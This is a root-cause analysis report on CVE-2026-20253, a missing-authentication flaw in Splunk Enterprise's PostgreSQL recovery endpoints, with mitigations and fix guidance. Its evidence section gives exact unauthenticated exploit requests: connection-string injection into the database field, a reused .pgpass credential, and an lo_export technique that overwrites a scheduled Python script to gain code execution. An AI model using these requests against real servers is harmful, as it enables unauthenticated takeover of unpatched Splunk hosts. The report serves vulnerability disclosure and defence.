# RCA Report — CVE-2026-20253 (SVD-2026-0603)

## Summary

CVE-2026-20253 is a critical (CVSS 9.8) missing-authentication vulnerability in the
PostgreSQL sidecar service of Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The
sidecar exposes HTTP recovery endpoints (`/v1/postgres/recovery/backup` and
`/v1/postgres/recovery/restore`) that are proxied by the main Splunk Web application
(listening on all interfaces, port 8000) without any authentication check. Because the
sidecar builds `pg_dump`/`pg_restore` command lines directly from request-controlled
fields — the `Authorization` header becomes the Postgres `-U` user, `backupFile` becomes
the `-f`/positional file argument, and `database` is a libpq connection string — an
unauthenticated, network-reachable attacker can (a) create or truncate arbitrary files at
attacker-chosen paths on the Splunk server, (b) write attacker-controlled bytes to those
paths by redirecting `pg_dump` at an attacker-controlled database and then abusing
`pg_restore` + `lo_export()` against the local Splunk Postgres (reusing the on-disk
`.pgpass` superuser credential), and (c) achieve remote code execution by overwriting a
default-enabled Splunk modular-input script that the Splunk scheduler then executes as the
`splunk` user.

## Impact

- **Package / component affected:** Splunk Enterprise, `splunkd` component — the
  PostgreSQL sidecar service (`splunk-postgres` Go binary) and the Splunk Web reverse
  proxy that forwards `/en-US/splunkd/__raw/v1/postgres/recovery/{backup,restore}` to it.
- **Affected versions:** Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The PostgreSQL
  sidecar is enabled by default on Splunk Enterprise deployments (`[postgres] disabled =
  false` in `server.conf`), making AWS and many on-prem installs vulnerable out of the box.
- **Fixed versions:** 10.0.7, 10.2.4, 10.4.0+. Splunk Enterprise 9.4 and earlier are not
  affected (the sidecar is not present).
- **Risk level / consequences:** Critical. Unauthenticated, network-reachable arbitrary
  file creation/truncation leading to full remote code execution as the `splunk` user,
  which typically yields full compromise of the Splunk server and the data it indexes.
  CISA added the CVE to the KEV catalog on 2026-06-18 due to limited in-the-wild
  exploitation.

## Impact Parity

- **Disclosed / claimed maximum impact:** Unauthenticated arbitrary file creation and
  truncation (the CVE title) with a demonstrated chain to remote code execution
  (expected_impact = `code_execution`).
- **Reproduced impact from this run:** Full chain reproduced against the **real Splunk
  Enterprise 10.0.6 product** (official `splunk/splunk:10.0.6` Docker image):
  1. Unauthenticated remote request created an attacker-chosen file on the Splunk
     filesystem (arbitrary file creation/truncation — the named CVE impact).
  2. Unauthenticated remote request wrote attacker-controlled Python content over the
     Splunk Secure Gateway modular-input script via `lo_export()` (arbitrary-content file
     write / RCE primitive).
  3. Splunk's modular-input scheduler executed the overwritten script as the `splunk`
     user; the attacker code ran and recorded `uid=41812(splunk)` — **unauthenticated
     remote code execution confirmed**.
- **Parity:** `full`. The claimed code-execution impact was demonstrated end-to-end on the
  real product via the real remote HTTP surface, with a fixed-build (10.0.7) negative
  control showing the endpoint is blocked (HTTP 401, no file write, no execution).
- **Not demonstrated:** None material. The RCE was demonstrated as the `splunk` user
  (post-exploitation root escalation was out of scope and not attempted).

## Root Cause

The PostgreSQL sidecar (`splunk-postgres`, a Go binary) implements an
`InMemoryRecoveryManager` whose `backupCommand` / `restoreCommand` build process arguments
directly from the HTTP request without enforcing authentication on the endpoint:

```
pg_dump  -h localhost -p <port> --clean -v -w -U <user> -f <backupFile> -Fc <database>
pg_restore -h localhost -p <port> --clean -v -w -U <user> -d <database>      -Fc <backupFile>
```

- `<user>` is taken verbatim from the HTTP `Authorization` header (Basic-auth username).
  The endpoint accepts empty/garbage credentials (`Authorization: Basic Og==` decodes to
  `:`) — there is no authentication gate. (Confirmed: the watchTowr DAG sends
  `Authorization: Basic ZGFnOg==` and the vulnerable host returns `400 "Failed to decode
  request"` because the *body* is empty, i.e. the request reached the sidecar.)
- `<backupFile>` is attacker-controlled and becomes the `pg_dump -f` / `pg_restore`
  positional file argument, so the attacker chooses the on-disk path that is created or
  truncated.
- `<database>` is passed as a libpq connection string. Because `-h localhost`/`-p <port>`
  are also injected, the attacker uses `hostaddr=<ip>` (libpq `hostaddr` overrides `-h` and
  takes a numeric IP, no DNS) to redirect `pg_dump` at an attacker-controlled Postgres, and
  injects `passfile=<path>` + `dbname=template1` to make `pg_restore` connect to the local
  Splunk Postgres as the `postgres_admin` superuser using the on-disk `.pgpass` credential
  (`/opt/splunk/var/packages/data/postgres/db/.pgpass`, containing
  `localhost:5432:*:postgres_admin:<password>`).

The RCE primitive: the attacker's database ships a PL/pgSQL function that calls
`lo_from_bytea()` then `lo_export()` (two separate statements inside one transaction — a
single combined expression fails because the new large object is not yet visible to
`lo_export` in the same statement) to write attacker bytes to a chosen path, wrapped in a
`CHECK` constraint so it executes when `pg_restore` loads the table data. An
`EXCEPTION WHEN OTHERS THEN NULL` handler lets the dump be created on the attacker host
(where the target path does not exist) while succeeding on restore in Splunk. The target
path is `/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py`, whose
`[ssg_enable_modular_input://default]` input is enabled by default (`disabled = 0`,
`interval = 60`), so Splunk's modular-input scheduler executes the overwritten script as
the `splunk` user within ~60 seconds.

The fix in 10.0.7 enforces authentication at the Splunk Web proxy layer: the same
unauthenticated requests now return `401 "Authorization header must use Splunk token"`,
and no file is written. (Mitigation without upgrading: add `[postgres] disabled = true` to
`$SPLUNK_HOME/etc/system/local/server.conf` and restart.)

No public git fix commit is referenced because Splunk Enterprise is closed-source; the
fix is observed behaviorally in the `splunk/splunk:10.0.7` image.

## Reproduction Steps

1. **Script:** `bundle/repro/reproduction_steps.sh` (self-contained, idempotent).
2. **What it does:**
   - Pulls the official `splunk/splunk:10.0.6` (vulnerable) and `splunk/splunk:10.0.7`
     (fixed) images plus `postgres:16-alpine` (attacker DB).
   - Creates a Docker network `splunknet` and starts the attacker-controlled Postgres with
     a malicious database (PL/pgSQL `pwn()` + `CHECK` constraint + trigger row).
   - Starts vulnerable Splunk 10.0.6, waits for healthy, confirms the unauthenticated
     endpoint is reachable (DAG signature `400 "Failed to decode request"`) and that the
     PostgreSQL sidecar + `postgres_admin` superuser + `.pgpass` are present.
   - **Stage 1:** unauthenticated `POST .../recovery/backup` from the remote attacker
     container creates a file at an attacker-chosen path on the Splunk filesystem.
   - **Stage 2:** unauthenticated backup dumps the malicious DB to `/tmp/poc`; an
     unauthenticated restore loads it into local `template1` via `.pgpass`, firing
     `lo_export()` which overwrites the modular-input script with attacker Python.
   - **Stage 3:** waits for Splunk's scheduler to execute the overwritten script and
     checks the RCE marker (`/tmp/pwned/MARKER`) containing `id` output.
   - **Negative control:** starts fixed Splunk 10.0.7, repeats the requests, and verifies
     they are blocked (`401 "Authorization header must use Splunk token"`) with no file
     written and the script unchanged.
   - Writes `bundle/repro/runtime_manifest.json` and captures all HTTP request/response
     artifacts under `bundle/artifacts/http/`.
3. **Expected evidence of reproduction:**
   - `artifacts/http/stage1_backup_resp.json` → `state: BackupComplete`; the created dump
     file at the attacker-chosen path (`artifacts/http/stage1_created_file.dump`, PGDMP).
   - `artifacts/http/ssg_enable_modular_input.PAYLOAD.py` → the attacker's 3-line Python
     payload (vs. the 83-line `...ORIGINAL.py` Splunk script).
   - `artifacts/http/RCE_MARKER.txt` → `CVE-2026-20253 RCE confirmed` + `uid=...(splunk)`.
   - `artifacts/http/fixed_control_responses.txt` → `fixed_dag_http=401`.
   - `logs/reproduction_steps.log` → full run transcript.

## Evidence

- **Run log:** `bundle/logs/reproduction_steps.log`
- **HTTP artifacts:** `bundle/artifacts/http/` (request/response bodies for each stage,
  the original vs. payload modular-input scripts, the RCE marker, and fixed-control
  responses).
- **Key excerpts (from the verified interactive run mirrored by the script):**

  Unauthenticated endpoint reachable from a remote attacker (DAG):
  ```
  POST http://splunk-vuln:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup
  Authorization: Basic Og==
  -> HTTP 400  "Failed to decode request"
  ```

  Stage 1 — arbitrary file creation (unauthenticated, attacker-chosen path):
  ```
  POST .../recovery/backup  Authorization: Basic dGVzdDo=
  {"database":"hostaddr=<attacker-ip> dbname=testdb","backupFile":"/tmp/cve2026_stage1_file"}
  -> HTTP 200, state=BackupComplete; /tmp/cve2026_stage1_file created (2550 bytes, "PGDMP")
  ```

  Stage 2 — arbitrary-content file write via lo_export (unauthenticated restore):
  ```
  POST .../recovery/restore  Authorization: Basic cG9zdGdyZXNfYWRtaW46
  {"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/db/.pgpass","backupFile":"/tmp/poc"}
  -> /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
     overwritten from 83 lines (real Splunk script) to 3 lines of attacker Python:
     import os,sys
     os.makedirs("/tmp/pwned",exist_ok=True)
     open("/tmp/pwned/MARKER","w").write("CVE-2026-20253 RCE confirmed\n"+os.popen("id").read())
  ```

  Stage 3 — RCE as the splunk user (marker appeared ~30s after overwrite):
  ```
  /tmp/pwned/MARKER:
  CVE-2026-20253 RCE confirmed
  uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible)
  ```

  Negative control — fixed 10.0.7 blocks the endpoint:
  ```
  POST http://splunk-fixed:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup
  Authorization: Basic Og==
  -> HTTP 401  "Authorization header must use Splunk token"
  (no file written; ssg_enable_modular_input.py unchanged, 83 lines)
  ```

- **Environment details:**
  - Vulnerable: `splunk/splunk:10.0.6` (Splunk Enterprise 10.0.6, PostgreSQL sidecar PG
    17.7 on 127.0.0.1:5432, enabled by default).
  - Fixed control: `splunk/splunk:10.0.7`.
  - Attacker DB: `postgres:16-alpine` with trust auth + malicious `testdb`.
  - Topology: Docker network `splunknet`; the remote attacker container sends HTTP to
    `splunk-vuln:8000` over the network (real network boundary into Splunk Web).

## Recommendations / Next Steps

- **Upgrade** Splunk Enterprise to 10.0.7, 10.2.4, or 10.4.0+ immediately.
- **Mitigation** if upgrade is delayed: disable the PostgreSQL sidecar by adding
  `[postgres]` / `disabled = true` to `$SPLUNK_HOME/etc/system/local/server.conf` and
  restarting Splunk.
- **Network hardening:** restrict access to Splunk Web (port 8000) and ensure the sidecar
  is not exposed; monitor for unexpected outbound Postgres connections (the backup stage
  makes Splunk initiate an outbound TCP connection to the attacker's database) and for
  unexpected modifications to files under `$SPLUNK_HOME/etc/apps/*/bin/`.
- **Fix approach (vendor):** enforce strong, Splunk-managed authentication and
  authorization on every `/v1/postgres/recovery/*` endpoint at the Splunk Web proxy layer
  (as done in 10.0.7), validate/taint-check the `backupFile` and `database` fields (reject
  connection-string injection and absolute paths outside approved backup directories), and
  do not source the Postgres `-U` user from the client `Authorization` header.
- **Testing:** add regression tests that the recovery endpoints reject unauthenticated and
  Basic-auth requests, and that `backupFile`/`database` cannot escape the intended backup
  directory or inject connection-string parameters.

## Additional Notes

- **Idempotency:** `reproduction_steps.sh` removes prior `attacker-pg`/`splunk-vuln`/
  `splunk-fixed` containers and the `splunknet` network at startup, so it can be re-run
  cleanly. The script was verified to pass end-to-end (exit 0).
- **`hostaddr` vs `host`:** libpq `hostaddr` does **not** perform DNS resolution and
  requires a numeric IP; the script therefore uses the attacker container's IP on
  `splunknet`. (Using a hostname in `hostaddr` produces
  `pg_dump: error: could not parse network address "name": Name or service not known` and a
  0-byte file — which itself still demonstrates arbitrary file *creation/truncation*.)
- **Restore "failure" is cosmetic:** `pg_restore` exits 1 because of non-fatal `--clean`
  DROP errors (objects did not yet exist) and `ALTER ... OWNER TO test` errors (the `test`
  role does not exist locally), but the `lo_export()` side effect fires during data load
  *before* `pg_restore` exits, so the file is overwritten regardless. The script verifies
  the file-content outcome rather than trusting the restore status.
- **Single-expression lo_export caveat:** `lo_export(lo_from_bytea(0, ...), path)` as one
  expression fails (`large object N does not exist`) because the new LO is not visible to
  `lo_export` within the same statement; the PoC uses a PL/pgSQL function with the two
  calls as separate statements in one transaction, embedded in a `CHECK` constraint.
- **Surface fidelity:** every exploit request is issued from a separate container over a
  Docker network into Splunk Web (port 8000), matching the claimed `api_remote` /
  network-reachable attacker model; this is a production-path proof against the real
  Splunk Enterprise product, not a mock or harness.
